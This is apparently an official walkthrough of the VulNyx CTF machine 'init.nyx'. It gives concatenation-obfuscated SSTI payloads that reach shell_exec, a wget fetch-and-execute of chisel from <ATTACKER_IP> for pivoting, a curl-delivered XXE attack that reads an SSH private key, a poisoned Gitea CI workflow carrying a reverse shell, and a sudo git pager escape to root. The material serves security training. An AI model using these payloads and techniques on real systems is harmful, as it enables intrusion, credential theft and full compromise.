medium.com

Init VulNyx Machine — Official Writeup

TirexV2

TirexV2

Overview

init.nyx is a multi-stage challenge that tests a wide array of modern penetration testing skills. The path requires chained exploits, deep enumeration, pivoting, and a realistic CI/CD pipeline takeover to achieve root access.

Phase 1: Initial Foothold (www-data -> dev)

Press enter or click to view image in full size

Standard SSTI payloads are blocked. After fuzzing, it’s discovered that the application uses an obscure @ symbol syntax. A WAF blocks a simple, but this can be bypassed by building the function name from separate strings using concatenation

Press enter or click to view image in full size

We use the shell_exec function for more reliable multi-line output.

  • Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('id')}

Press enter or click to view image in full size

Discover Git Repository: Listing the contents of the webroot (/var/www/html/) reveals a .git directory. Accessing this directory via the web browser is blocked with a 403 Forbidden error, so we must use our RCE to analyze it.

  • Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('ls -la /var/www/html/')}

Press enter or click to view image in full size

The key to the next step is hidden in the Git history. We dump the entire log, looking for any accidentally committed secrets.

  • Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('git -C /var/www/html/ log -p')}
  • Result: We find a commit with the message Temp commit, will remove. Inside this commit, a file named secrets.tmp was added containing an AES-256 encrypted password:

Press enter or click to view image in full size

The key is often stored in the web server’s configuration.

  • Payload: @{file_get_contents('/etc/apache2/conf-available/custom-vars.conf')}

Press enter or click to view image in full size

With both the encrypted data and the key, we can now decrypt the password. The resulting password is SQLiteDBP@ssw0rd. This password grants access to a local SQLite database, which we can query using our RCE.

  • Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('sqlite3 /var/www/html/init.db "SELECT * FROM services;"')}

Press enter or click to view image in full size

To access the AdminHelper service, we must set up a port forward using chisel.

  1. Set up chisel: On the attacker machine, start the chisel server.

Press enter or click to view image in full size

We first attempt to download chisel to /tmp and execute it, but it fails silently. Investigating the mount options reveals /tmp is mounted with the noexec flag.

  • Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('mount | grep /tmp')}

Press enter or click to view image in full size

We use /dev/shm as our new upload location and execute the chisel client to connect back to our server.

  • Download Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c') ('wget http://<ATTACKER_IP>:8000/chisel -O /dev/shm/chisel && chmod +x /dev/shm/chisel')}
  • Execute Pivot Payload: @{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('/dev/shm/chisel client <ATTACKER_IP>:9001 R:8888:localhost:8888')}

Press enter or click to view image in full size

A connection is established on our chisel server. Port 8888 is now forwarded

Press enter or click to view image in full size

Now we attack the internal AdminHelper service through our tunnel.

  1. Exploit XXE for SSH Key: The service is vulnerable to XXE. We craft a payload to read the dev user's private SSH key from /home/dev/.ssh/id_rsa.
xml payload
curl -X POST -H "Content-Type: application/xml" --data-binary "@payload.xml" http://localhost:8888/api/get_key

The exploit succeeds via an error message that leaks the entire contents of the encrypted id_rsa file. We save this key.

Press enter or click to view image in full size

Exploit IDOR for Passphrase: The key is encrypted. We find another endpoint, /api/user_info?id=1. By changing the ID to 2, we exploit an IDOR.

Press enter or click to view image in full size

Gain User Access

We now have the private key and its passphrase.

  1. Log In: On our attacker machine, we use the credentials to log in via SSH.

chmod 600 id_rsa_dev

Get TirexV2’s stories in your inbox

Join Medium for free to get updates from this writer.

ssh -i id_rsa_dev dev@init.nyx

  1. Capture Flag: We are logged in as the dev user.

Press enter or click to view image in full size

The “Poisoned Pull Request”

Logged in as dev, enumeration reveals a Gitea service on localhost:3000 and credentials (dev / **********d1!) in .bash_history. We set up a new SSH port forward (ssh -L 3000:localhost:3000 ...) to access the Gitea UI.

Press enter or click to view image in full size

We found a local service running in 127.0.0.1:3000

Press enter or click to view image in full size

Press enter or click to view image in full size

Find Access Token: The attacker logs into the Gitea UI as dev. Before they can push changes from the command line, they need an access token. By navigating to Settings -> Applications, they find a pre-generated token named PushCLI Token that can be used for this purpose.

Press enter or click to view image in full size

Press enter or click to view image in full size

init-app Repo
  • Modify Workflow: In our dev@init.nyx SSH session, we edit /var/www/html/.gitea/workflows/main.yml to contain a reverse shell payload. The workflow must specify runs-on: host.
  • Push to New Branch: We commit this change and push it to a new branch (e.g., exploit-branch).

Press enter or click to view image in full size

  • Create Pull Request: In the Gitea web UI, we create a new Pull Request from exploit-branch to main.
  • Catch the Shell: The moment the PR is created, the Action triggers. Our listener on port 443 receives a connection, giving us a shell as the gitea-runner user.

Press enter or click to view image in full size

  • Upgrade Shell: We upgrade our simple reverse shell to a full interactive TTY.

python3 -c 'import pty; pty.spawn("/bin/bash")'

  • Check sudo: We check our privileges.

Press enter or click to view image in full size

  • The output reveals we can run /usr/bin/git as root without a password.
  • Exploit sudo git: We exploit this permission using a well-known less pager escape technique.
  • Command: sudo git help status
  • The help text opens in the less viewer. At the : prompt at the bottom, we type !/bin/bash and press Enter.
  • Rooted: We are immediately dropped into a root shell.

Press enter or click to view image in full size